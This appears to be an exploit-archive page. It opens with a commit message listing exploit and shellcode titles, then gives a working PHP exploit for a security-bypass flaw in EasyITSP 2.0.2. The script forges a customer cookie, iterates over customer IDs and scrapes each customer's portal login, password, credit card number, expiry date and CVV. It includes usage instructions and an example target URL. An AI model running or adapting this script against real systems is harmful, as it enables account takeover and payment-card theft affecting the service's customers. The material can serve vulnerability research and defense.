880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
114 lines
No EOL
3.1 KiB
PHP
114 lines
No EOL
3.1 KiB
PHP
source: https://www.securityfocus.com/bid/56321/info
|
|
|
|
EasyITSP is prone to a security-bypass vulnerability.
|
|
|
|
An attacker can exploit this issue to bypass certain security restrictions and gain unauthorized access to customer's information.
|
|
|
|
EasyITSP 2.0.2 is vulnerable; other versions may also be affected.
|
|
|
|
<?php
|
|
error_reporting(0);
|
|
$arguments = getopt("a:b:c:");
|
|
$url = $arguments['a'];
|
|
$id_pod =$arguments['b'];
|
|
$id_end =$arguments['c'];
|
|
if(count($arguments)!=3)
|
|
{
|
|
echo '## Exploit - EasyITSP by Lemens Telephone Systems 2.0.2 '."\n";
|
|
echo '## Discovery users with passwords '."\n";
|
|
echo '## '."\n";
|
|
echo '## Author: Michal Blaszczak '."\n";
|
|
echo '## Website: blaszczakm.blogspot.com '."\n";
|
|
echo '## Date: 10.10.2012 '."\n";
|
|
echo '## '."\n";
|
|
echo '## Greatz: cond, packet, jestemka1pi, sid, chez '."\n";
|
|
echo '## #pakamera@freenode '."\n";
|
|
echo '## (old) #2600@ircnet '."\n";
|
|
echo '## (old) #mamo_mamo_jestem_chakerem@ircnet '."\n";
|
|
echo '## '."\n";
|
|
echo '## Usage: '."\n";
|
|
echo '## php exploit.php -a URL -b ID_START -c ID_STOP '."\n";
|
|
echo '## '."\n";
|
|
echo '## Example: '."\n";
|
|
echo '## php exploit.php -a http://lemens-ts.com/easyitsp/customer/ -b
|
|
5 -c 10'."\n";
|
|
|
|
|
|
|
|
|
|
exit;
|
|
}
|
|
$url2='customers_edit.php?currentpage=customers';
|
|
$url.=$url2;
|
|
for ($id_pod; $id_pod <= $id_end; $id_pod++) { $cookie = 'cust_verify=' . urlencode('#pakamera') . '; cust_id=' .
|
|
urlencode($id_pod);
|
|
$ch = curl_init($url);
|
|
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_COOKIE, $cookie); curl_setopt($ch, CURLOPT_POST, 1);//przesylamy metod. post curl_setopt($ch, CURLOPT_POSTFIELDS, "customersid=$id_pod"); //dane do wyslania curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $intro = curl_exec($ch); curl_close($ch);
|
|
|
|
|
|
|
|
|
|
$regex_login = '#\<td title="Customer username for
|
|
portal"\>(.+?)\<\/td\>#s';
|
|
preg_match($regex_login, $intro, $login);
|
|
|
|
|
|
|
|
|
|
$regex_pass = '#\<td title="Customer password for portal"><input
|
|
type="password" name="password" required="1" maxlength="45"
|
|
value="(.+?)"\>\<\/td\>#s';
|
|
preg_match($regex_pass, $intro, $pass);
|
|
|
|
|
|
|
|
|
|
$regex_ccnum = '#\<td title="Customer cc number"><input type="text"
|
|
name="ccnumber" maxlength="20" value="(.+?)"\>\<\/td\>#s';
|
|
preg_match($regex_ccnum, $intro, $ccnum);
|
|
|
|
|
|
|
|
|
|
$regex_ccexpire = '#\<td title="Customer cc expire"><input type="text"
|
|
name="ccexpire" maxlength="8" value="(.+?)"\>\<\/td\>#s';
|
|
preg_match($regex_ccexpire, $intro, $ccexpire);
|
|
|
|
|
|
|
|
|
|
$regex_cccvv = '#\<td title="Customer credit card CVV"><input
|
|
type="text" name="cccvv" maxlength="6" value="(.+?)"\>\<\/td\>#s';
|
|
preg_match($regex_cccvv, $intro, $cccvv);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
$test = explode(" ",$login[1]);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
if(trim($test[0])!='</td>')
|
|
{
|
|
echo 'ID:'.$id_pod."\n";
|
|
echo 'LOGIN:'.$login[1]."\n";
|
|
echo 'Password:'.$pass[1]."\n";
|
|
echo 'CCnumber:'.$ccnum[1]."\n";
|
|
echo 'CCexpire:'.$ccexpire[1]."\n";
|
|
echo 'CCCVV:'.$cccvv[1]."\n\n";
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
?>
|